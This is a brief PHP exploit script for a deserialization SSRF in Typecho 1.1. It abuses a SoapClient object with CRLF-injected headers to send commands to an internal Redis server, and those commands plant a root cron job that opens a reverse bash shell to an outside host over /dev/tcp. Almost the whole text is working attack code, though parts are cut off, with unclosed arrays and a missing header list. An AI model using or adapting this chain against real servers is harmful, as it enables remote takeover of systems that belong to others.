Typecho(1.1) SSRF:

Need SOAPClient of PHP,and unserialization it.


	class Typecho_Db_Query{
	    private static $_default = array(
	        'action' => 'SELECT',
	    private $_adapter;
	    private $_sqlPreBuild;
	    private $_prefix;
	    public function __construct($adapter, $prefix){
	        $this->_adapter = &$adapter;
	        $this->_prefix = $prefix;
	        $this->_sqlPreBuild = self::$_default;
	$target = "http://XXX.XXX.182.9:6379";
	$post_string = 'set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/XXX.XXX.180.248/7777 0>&1\n\n" ^^ config set dir /var/spool/cron/ ^^ config set dbfilename root ^^ save';
	$headers = array(
	$a = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
	$b = serialize($a);
	$b = str_replace('^^',"\n\r",$b);
	$c = unserialize($b);
	$query = new Typecho_Db_Query($c,'B');
	$exp = array(
	        'adapter' => $query,
	        'prefix'  => 'typecho_'
	echo base64_encode(serialize($exp));
